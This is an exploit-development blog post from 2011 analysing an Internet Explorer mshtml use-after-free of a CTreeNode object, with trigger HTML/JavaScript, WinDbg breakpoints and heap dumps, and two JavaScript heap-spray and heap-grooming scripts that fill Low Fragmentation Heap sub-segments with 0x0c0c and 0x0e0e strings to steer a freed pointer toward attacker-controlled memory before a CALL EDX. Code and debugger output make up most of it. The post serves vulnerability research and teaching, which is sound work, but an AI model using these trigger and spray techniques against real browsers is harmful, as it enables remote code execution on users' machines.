quinta-feira, 1 de setembro de 2011

Diaries of vulnerability - take 2

Stage 1 exploit - Controlling EIP


A friend of mine referred that he wasn't able to run the original exploit published by d0c_s4vage on his machine. Another one pointed out that he didn't understand why the original exploit used a block size of 0xE0 for heap spraying, even though the object used-after-free was a CTreeNode sized 0x4C. I thought this was a good motivation for a post, so here it is.

Note: I'll make this post simpler than the first part, so I'll skip some explanations along the way and I'll leave the first point for another post as its analysis has some background checking that will be covered in the second point explanation and in this post.
Note 2: Again the pretty formatted paper is available here for download.

Let’s begin with a slight variation of the exploit, as so we can test it more conveniently:

<html>
   <body>
     <script language='javascript'>
       document.body.innerHTML += "<object align='right' width='1000'>TAG_1</object>";
       document.body.innerHTML += "<a style='float:left;'>TAG_3</a>A";
       document.body.innerHTML += "A";
       document.body.innerHTML += "<strong id='popo' style='font-size:1000pc; margin:auto -1000cm auto auto;' dir='ltr'></strong>";

       document.getElementById('popo').innerHTML = "Z";
    </script>
  </body>
</html>


And these breakpoints:

bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] Type:\",ecx;dds edi l1; gc;"
bp mshtml!CObjectElement::CObjectElement ".printf \" CObjectElement:addr[%08x] \\n\",esi;gc"


Let's review some history:

CObjectElement:addr[004150e8]
CTreeNode:node[0042adb0] Type:mshtml!CObjectElement::`vftable'
CTreeNode:node[0042b1d0] Type:mshtml!CAnchorElement::`vftable'
CTreeNode:node[0042b280] Type:mshtml!CPhraseElement::`vftable'
CTreeNode:node[0042adb0] Type:mshtml!CObjectElement::`vftable'
CTreeNode:node[0042b1d0] Type:mshtml!CAnchorElement::`vftable' 
... 
CTreeNode:node[0042ae60] Type:mshtml!CBodyElement::`vftable'
(b60.2e0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0042adb0 ecx=0041010a edx=00000000 esi=01ffbc20 edi=00000000

eip=6987b68f esp=01ffbbf4 ebp=01ffbc0c iopl=0 nv up ei pl zr na pe nc

cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6987b68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????
 

ub mshtml!CElement::Doc:
6987b68d 8b01 mov eax,dword ptr [ecx]


dc ebx

0042adb0 0041010a 00000000 ffff404a ffffffff ..A.....J@......


What we have here is, as we saw in the previous post, that EBX is a pointer to the CTreeNode freed object, and is being wrongly reused. So, why don’t we reuse the CTreeNode freed object and fill it with our controlled content? If ECX is the first value of the CTreeNode we could adjust its value so we could jump directly to our nop sled address. The problem is that between the free of the CTreeNode and its usage we have no chance of intervening in the execution path (by use of javascript). So we need to deal with the address left by the heap allocator. If ECX is the first value of the CTreeNode, according to reversed code it should be pointing to a CObjectElement but the value pointed by ECX has apparently no valid or known object address:

!heap -x 0041010a
Entry User Heap Segment Size PrevSize Unused Flags

-----------------------------------------------------

00410050 00410058 00370000 00410450 100 - 0 LFH;free

The reason for this is because EBX was freed. What happens when a user memory chunk is returned to the heap allocator (the LFH in this case), besides all the heap related metadata updated, is that the first WORD in the user portion of the allocation, gets a new purpose, it becomes the FreeEntryOffset:

*(WORD)(ChunkHeader + 8) = AggrExchg.FreeEntryOffset;

This explains the 0x010a, but what is the 0x0041? This value is the two MSB of the original value because the free process doesn’t update this WORD, so we know that the CObjectElement had a value of 0x0041xxxx, which corresponds to our freed CObjectElement in the trace: 0x004150e8.

LFH, as it tries to keep fragmentation to a minimum, uses a metadata structure called heap sub-segment, which organizes memory in contiguous chunks that keep track of allocated and freed memory blocks of the same size.
So a sub-segment is used to manage blocks of size 0x4C and another sub-segment manages the allocation and de-allocation of blocks of size 0xE0, explaining why two aligned in time allocations, CObjectElement:addr[004150e8] and CTreeNode:node[0042adb0] have so different addresses.

This simplistic view of the process is important to understand it, because it will allow us to influence the process, and more important, the values that we want stored in this first DWORD of the user buffer. I say first DWORD because we want to predictably set this to a usable or controllable pointer address.
How can we influence this, then?
As the first WORD is a FreeEntryOffset, and it's updated during a free of a CTreeNode we'll need to impose some determinism on CTreeNode allocations. How do we do this? We allocate sufficient objects of this size to fill potential holes in the sub-segment that manages 0x4C sized objects and at some point we'll start having contiguous objects allocation. The following code will do the trick:
... 
document.body.innerHTML += "<strong id='popo' style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'></strong>";
  var size = 0x4c; 
  var arrSize = 200;
  var obj_overwrite = unescape("%u0c0c%u0c0c"); 
  while(obj_overwrite.length < size) 
  { obj_overwrite += obj_overwrite; } 
  obj_overwrite = obj_overwrite.substr(0, (size-6)/2); 
  CollectGarbage(); 
  var arr = new Array(); 
  for(var counter = 0; counter < arrSize; counter++) 
  { arr.push(obj_overwrite.substr(0, obj_overwrite.length)); } 
  for(var counter = arrSize-50; counter < arrSize; counter+=3) 
  { delete arr[counter]; } 
  CollectGarbage(); 
  document.getElementById('popo').innerHTML = "Z"; 
...

 
After crashing we get this:

dc ebx ebx+0x4C
002d6318 002e00a7 00000000 ffff404a ffffffff ........J@......

002d6328 00000051 00000000 00000000 00000000 Q...............

002d6338 00000000 002d6340 00000062 00000000 ....@c-.b.......

002d6348 00000000 00000000 002d6328 00000000 ........(c-.....

002d6358 00000000 00000000 00000000 00000000 ................


dc ebx-8-0x4C ebx+0x4C+8+0x4C

002d62c4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d62d4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d62e4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d62f4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d6304 0c0c0c0c 00000c0c 00000000 3b93022c ............,..;

002d6314 80000000 002e00a7 00000000 ffff404a ............J@..

002d6324 ffffffff 00000051 00000000 00000000 ....Q...........

002d6334 00000000 00000000 002d6340 00000062 ........@c-.b...

002d6344 00000000 00000000 00000000 002d6328 ............(c-.

002d6354 00000000 00000000 00000000 00000000 ................

002d6364 00000000
3b930223 88000000 00000046 ....#..;....F...
002d6374 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d6384 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d6394 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d63a4 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c ................

002d63b4 0c0c0c0c 00000c0c ........
 
As you can see, the before and after chunk´s content are controllable by us, filling those objects sized 0x4C with 0x0c0c0c0c. This gives us predictability where our chunk is allocated (relative offset) and the offset value that is written. But a problem remains, that will render useless our effort into controlling the first WORD of the pointer.

(6c0.4cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7fd6d1eb ebx=0036a530 ecx=003800a7 edx=00000000 esi=0228bd10 edi=00000000
eip=6987b68f esp=0228bce4 ebp=0228bcfc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6987b68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:7fd6d25b=????????


dc ebx l1
0036a530 003800a7


!heap -x ebx

Entry User Heap Segment Size PrevSize Unused Flags

-------------------------------------------------------

0036a528 0036a530 002b0000 00347878 58 - 0 LFH;free


dt nt!_HEAP_SUBSEGMENT 00347878

ntdll!_HEAP_SUBSEGMENT
 
+0x000 LocalInfo : 0x002b6f70 _HEAP_LOCAL_SEGMENT_INFO 
+0x004 UserBlocks : 0x00369f40 _HEAP_USERDATA_HEADER 
+0x008 AggregateExchg : _INTERLOCK_SEQ 
+0x010 BlockSize : 0xb
...


dt nt!_HEAP_BUCKET_COUNTERS 0x002b6f70+50

ntdll!_HEAP_BUCKET_COUNTERS
 
+0x000 TotalBlocks : 0x12b 
+0x004 SubSegmentCounts : 7 
+0x000 Aggregate64 : 0n30064771371

TotalBlocks only reports 0x12b blocks, this means that we won’t have any offset recorded in the first WORD of the pointer beyond this value. Why? Because it is the sum of all chunks distributed by all 7 sub-segments (as indicated by SubSegmentCounts). Although we could push this value even upper, that would lead to an increase of heap allocations. So let’s say that the only thing we can predict from this is that it´s value will always be a multiple of 0xb (0x58/8) plus 2. We could also force the chunk to the end of the list of an heap sub-segment cache, setting the WORD value to 0xffff, but that would gain us nothing either, more on this later.

dt -a nt!_HEAP_SUBSEGMENT 0x002b6f70+8
ntdll!_HEAP_SUBSEGMENT

[0] @ 002b6f78

---------------------------------------------
 
+0x000 LocalInfo : 0x03c3e1c0 _HEAP_LOCAL_SEGMENT_INFO 
+0x004 UserBlocks : 0x03c3e1a0 _HEAP_USERDATA_HEADER
...

[1] @ 002b6f98

---------------------------------------------
 
+0x000 LocalInfo : 0x00347878 _HEAP_LOCAL_SEGMENT_INFO 
+0x004 UserBlocks : 0x002bdaf0 _HEAP_USERDATA_HEADER
...


Considering this, from this point on, I’ll diverge in the exploit code from the original one, because I want to improve the exploit by giving it more resilience, so keep reading. 

We know now that the value we're targeting in lies within the heap segment that manages chunks of size 0xE8 (where CObjectElement resides) and we can't control the last 4 bytes of the address. Or can we?
All that seems left for predictability at this point is to try to fill a heap sub-segment with strings sized 0xE8, and set the CObjectElement right in the middle or end of this string sprayed memory area, so that we can profit from its first WORD address. We need that the last CObjectElement created lands in a filled sub-segment and not in a new sub-segment, where there won't be any string content. So, being 0xffff the maximum block amount of a sub-segment, we can have, per sub-segment, a total of 2259 chunks of 0xe8 size.

?ffff*8/e8
Evaluate expression: 2259 = 000008d3

 
Say we allocate 2259 string objects of size 0xE8, the first WORD of the CTreeNode freed object will have a value between 0x2 and 0xffff; we might land our pointer anywhere between the full address range of the segment:

0xXXXX[0x2-0xffff]

But, if we force the usage of a caching sub-segment, the address range is heavily reduced, although we can’t preview what we’ll get as first WORD. Forcing the cache usage is as simple as allocating a large number of strings chunks sized 0xE8, and freeing a small number of the lastly allocated strings; the strings will fill up the cache and will be reused by the time the CObjectElement is created.
But what happens if, by any chance, we land in a point in time where the caches are empty? It will allocate the object from an active segment, and we’re back to the starting point, as can be seen from the following example trace:

CObjectElement:addr[028a4f80]
CTreeNode:node[00450080] Type:028a4f80 CObjectElement::`vftable'

eax=00450080 ebx=00457f70 ecx=00450080 edx=00000000 esi=0046f428 edi=028a4f80
eip=6dbd47b9 esp=021fc5d8 ebp=021fc5f4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
6dbd47b9 8bff mov edi,edi


dc 00450080

00450080 00000000 00000000 00000000 00000000 ................


ba w4 00450080


dc 00450080

00450080 028a4f80 00000000 ffff0000 ffffffff .O..............


!heap -x 028a4f80

Entry User Heap Segment Size PrevSize Unused Flags

-----------------------------------------------------

028a4f78 028a4f80 003d0000 00450d68 e8 - 8 LFH;busy


dt nt!_heap_subsegment 00450d68


ntdll!_HEAP_SUBSEGMENT
 
+0x000 LocalInfo : 0x003d76c0 _HEAP_LOCAL_SEGMENT_INFO 
+0x004 UserBlocks : 0x028a2048 _HEAP_USERDATA_HEADER 
+0x008 AggregateExchg : _INTERLOCK_SEQ 
+0x010 BlockSize : 0x1d 
+0x012 Flags : 0 
+0x014 BlockCount : 0x46 
+0x016 SizeIndex : 0x1c '' 
+0x017 AffinityIndex : 0 '' 
+0x010 Alignment : [2] 0x1d 
+0x018 SFreeListEntry : _SINGLE_LIST_ENTRY 
+0x01c Lock : 7

dt nt!_INTERLOCK_SEQ 00450d68+8

ntdll!_INTERLOCK_SEQ
 
+0x000 Depth : 0x11 
+0x002 FreeEntryOffset : 0x603 
+0x000 OffsetAndDepth : 0x6030011  
+0x004 Sequence : 0xff425ade 
+0x000 Exchg : 0n-53380335944925167

dt nt!_HEAP_LOCAL_SEGMENT_INFO 0x003d76c0

ntdll!_HEAP_LOCAL_SEGMENT_INFO
 
+0x000 Hint : (null) 
+0x004 ActiveSubsegment : 0x00450d68 _HEAP_SUBSEGMENT 
+0x008 CachedItems : [16] (null) 
+0x048 SListHeader : _SLIST_HEADER 
+0x050 Counters : _HEAP_BUCKET_COUNTERS 
+0x058 LocalData : 0x003d6b48 _HEAP_LOCAL_DATA 
+0x05c LastOpSequence : 0x87 
+0x060 BucketIndex : 0x1c 
+0x062 LastUsed : 0


The allocation of the CObjectElement is being retrieved from the active sub-segment.
Can we build up on the better of the two worlds? I think we can, freeing strings will increase our chances of heap cache usage, and as freeing a string does not alter its content, we’ll allocate a full segment and then free a portion of it, by de-allocating a couple of even/odd indexed strings from the array. This will leave the heap in the following state:

When IE allocates the CObjectElement it will end up in one of these holes, surrounded by 0x0e0e0e0e strings.

The code:

  var size1 = (0xe0/2)-3;
  var arrSize1 = 2000;
  var obj_overwrite2 = unescape("%u0e0e");
  while(obj_overwrite2.length < size1)
    { obj_overwrite2 += obj_overwrite2; } 
  obj_overwrite2 = obj_overwrite2.substr(0, size1);
  var arr2 = new Array();
  for(var counter1 = 0; counter1 < arrSize1; counter1++)
    { arr2[counter1] = obj_overwrite2.substr(0, size1); } 
  for(var counter1 = arrSize1-100; counter1 < arrSize1; counter1+=2)
    { 
      delete arr2[counter1]; 
      arr2[counter1] = null; 
    } 
  CollectGarbage();
  document.body.innerHTML += "<object align='right' width='1000'>TAG_1</object>"; 
...

ModLoad: 6e010000 6e0c2000 C:\Windows\System32\jscript.dll

(920.e14): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0e0e0e0e ebx=00126d18 ecx=01d40115 edx=00000000 esi=022bbc00 edi=00000000
eip=6c64b68f esp=022bbbd4 ebp=022bbbec iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6c64b68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:0e0e0e7e=????????


dc ebx
00126d18
01d40115 00000000 ffff404a ffffffff ........J@......

dc
01d40115
01d40115
0e0e0e0e 0e0e0e0e 0e0e0e0e 0e0e0e0e ................

!heap -x 01d40115

Entry User Heap Segment Size PrevSize Unused Flags

----------------------------------------------------

01d400d8
01d400e0 00070000 0010e408 e8 - 8 LFH;busy




!heap -flt s e0 
_HEAP @ 70000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state  
01d400d8 001d 001d [00] 01d400e0 000e0 - (busy) 
01d401c0 001d 001d [00] 01d401c8 000e0 - (busy) 
01d402a8 001d 001d [00] 01d402b0 000e0 - (busy) 
01d40390 001d 001d [00] 01d40398 000e0 - (busy) 
01d40478 001d 001d [00] 01d40480 000e0 - (busy) 
01d40560 001d 001d [00] 01d40568 000e0 - (busy)
...

01d48a20 001d 001d [00] 01d48a28 000e0 - (busy) 
01d48b08 001d 001d [00] 01d48b10 000e0 - (busy)
...
 
01d4f7c8 001d 001d [00] 01d4f7d0 000e0 - (busy) 
01d4f8b0 001d 001d [00] 01d4f8b8 000e0 - (free)  
01d4f998 001d 001d [00] 01d4f9a0 000e0 - (busy) 
01d4fa80 001d 001d [00] 01d4fa88 000e0 - (free) 
01d4fb68 001d 001d [00] 01d4fb70 000e0 - (busy) 
01d4fc50 001d 001d [00] 01d4fc58 000e0 - (free) 
01d4fd38 001d 001d [00] 01d4fd40 000e0 - (busy) 
01d4fe20 001d 001d [00] 01d4fe28 000e0 - (free)  
01d4ff08 001d 001d [00] 01d4ff10 000e0 - (busy) 
01d4fff0 001d 001d [00] 01d4fff8 000e0 - (free)

dt ntdll!_HEAP_SUBSEGMENT 0010e408
 
+0x000 LocalInfo : 0x000776c0 _HEAP_LOCAL_SEGMENT_INFO
+0x004 UserBlocks : 0x01d38a10 _HEAP_USERDATA_HEADER
 
+0x008 AggregateExchg : _INTERLOCK_SEQ 
+0x010 BlockSize : 0x1d 
+0x012 Flags : 0 
+0x014 BlockCount : 0x8d 
+0x016 SizeIndex : 0x1c '' 
+0x017 AffinityIndex : 0 '' 
+0x010 Alignment : [2] 0x1d 
+0x018 SFreeListEntry : _SINGLE_LIST_ENTRY 
+0x01c Lock : 1

As you can see from above, the full address space covered by the base address 0x1d4XXXX is filled with our string content. Although this is no guarantee of a working exploit, this greatly extends the probability of exploitation success. So, EAX is now 0x0e0e0e0e, EDX will have [0x0e0e0e0e+70].

As the next instruction in the execution stream is: CALL EDX then you know where we’re going from here… Stage 2.

I hope you have enjoyed.

Tudo é possivel, quando o homem quer (e a mulher permite).

Sem comentários: